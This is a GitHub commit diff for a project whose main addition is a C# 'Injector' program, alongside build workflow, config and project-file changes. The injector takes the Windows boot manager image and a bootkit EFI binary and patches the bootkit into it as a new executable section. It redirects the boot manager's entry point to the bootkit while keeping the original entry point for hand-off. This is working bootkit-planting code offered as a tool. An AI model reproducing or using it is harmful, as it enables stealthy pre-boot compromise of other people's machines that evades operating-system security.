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5 changes: 5 additions & 0 deletions .github/workflows/build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -17,9 +17,14 @@ jobs:

- name: Add msbuild to PATH
uses: microsoft/setup-msbuild@v1.0.2

- uses: nuget/setup-nuget@v1
with:
nuget-version: '5.x'

- name: Build
run: |
nuget restore ${{ github.event.repository.name }}.sln
msbuild.exe ${{ github.event.repository.name }}.sln /m /verbosity:minimal /t:Rebuild /p:Configuration=Release /p:Platform=x64

- uses: actions/upload-artifact@v2
Expand Down
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ Release/
Debug/
x64/
*.user
packages/
14 changes: 14 additions & 0 deletions Injector/App.config
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@@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
</startup>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
</configuration>
156 changes: 0 additions & 156 deletions Injector/Injector.cpp

This file was deleted.

65 changes: 65 additions & 0 deletions Injector/Injector.cs
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@@ -0,0 +1,65 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using PeNet;
using PeNet.Header.Pe;

namespace Injector
{
internal class Program
{
static uint AlignUp(uint Size, uint Alignment)
{
return (Size + (Alignment - 1)) & ~(Alignment - 1);
}

static int Main(string[] args)
{
if (args.Length < 3)
{
Console.WriteLine("Usage: Injector bootmgfw.bak bootkit.efi bootmgfw.injected");
return 1;
}

try
{
var bootmgfwPe = new PeFile(File.ReadAllBytes(args[0]));
var bootkitData = File.ReadAllBytes(args[1]);
var bootkitPe = new PeFile(bootkitData);

var fileAlignment = bootkitPe.ImageNtHeaders.OptionalHeader.FileAlignment;
var sectionAlignment = bootkitPe.ImageNtHeaders.OptionalHeader.SectionAlignment;
if (fileAlignment != 0x1000 || sectionAlignment != 0x1000)
throw new Exception($"Bootkit not compiled with /FILEALIGN:0x1000 /ALIGN:0x1000");

// Put the original entry point in the bootkit headers
var bootkitEntry = bootkitPe.ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
bootkitPe.ImageNtHeaders.OptionalHeader.AddressOfEntryPoint = bootmgfwPe.ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;

var sizeOfImage = bootmgfwPe.ImageNtHeaders.OptionalHeader.SizeOfImage;
var alignmentSize = AlignUp(sizeOfImage, 0x10000) - sizeOfImage;
var sectionSize = (int)(alignmentSize + bootkitData.Length);

var bootkitBase = sizeOfImage + alignmentSize;
Console.WriteLine(bootkitBase);

bootmgfwPe.ImageNtHeaders.OptionalHeader.AddressOfEntryPoint = bootkitBase + bootkitEntry;

bootmgfwPe.AddSection(".bootkit", sectionSize, ScnCharacteristicsType.MemExecute | ScnCharacteristicsType.MemRead | ScnCharacteristicsType.MemWrite);
var newSection = bootmgfwPe.ImageSectionHeaders[bootmgfwPe.ImageSectionHeaders.Length - 1];
bootmgfwPe.RawFile.WriteBytes(newSection.PointerToRawData + alignmentSize, bootkitData);
Console.WriteLine(newSection.VirtualAddress.ToHexString());
File.WriteAllBytes(args[2], bootmgfwPe.RawFile.ToArray());
return 0;
}
catch (Exception x)
{
Console.WriteLine(x);
return 1;
}
}
}
}
107 changes: 107 additions & 0 deletions Injector/Injector.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{1FC97804-FF0D-40F9-A772-213A46DFA1EC}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>Injector</RootNamespace>
<AssemblyName>Injector</AssemblyName>
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<Deterministic>true</Deterministic>
<TargetFrameworkProfile />
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\x64\Release\Injector\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="PeNet, Version=2.9.8.0, Culture=neutral, PublicKeyToken=6cf2bfba59bcfb3f, processorArchitecture=MSIL">
<HintPath>..\packages\PeNet.2.9.8\lib\net48\PeNet.dll</HintPath>
</Reference>
<Reference Include="PeNet.Asn1, Version=2.0.0.0, Culture=neutral, PublicKeyToken=1e2e3568f0050bf5, processorArchitecture=MSIL">
<HintPath>..\packages\PeNet.Asn1.2.0.0\lib\net48\PeNet.Asn1.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll</HintPath>
</Reference>
<Reference Include="System.Core" />
<Reference Include="System.Memory, Version=4.0.1.2, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll</HintPath>
</Reference>
<Reference Include="System.Numerics" />
<Reference Include="System.Numerics.Vectors, Version=4.1.4.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll</HintPath>
</Reference>
<Reference Include="System.Runtime.CompilerServices.Unsafe, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll</HintPath>
</Reference>
<Reference Include="System.Security" />
<Reference Include="System.Security.Cryptography.Pkcs, Version=6.0.0.1, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Security.Cryptography.Pkcs.6.0.1\lib\net461\System.Security.Cryptography.Pkcs.dll</HintPath>
</Reference>
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Injector.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include=".NETFramework,Version=v4.8">
<Visible>False</Visible>
<ProductName>Microsoft .NET Framework 4.8 %28x86 and x64%29</ProductName>
<Install>true</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>false</Install>
</BootstrapperPackage>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
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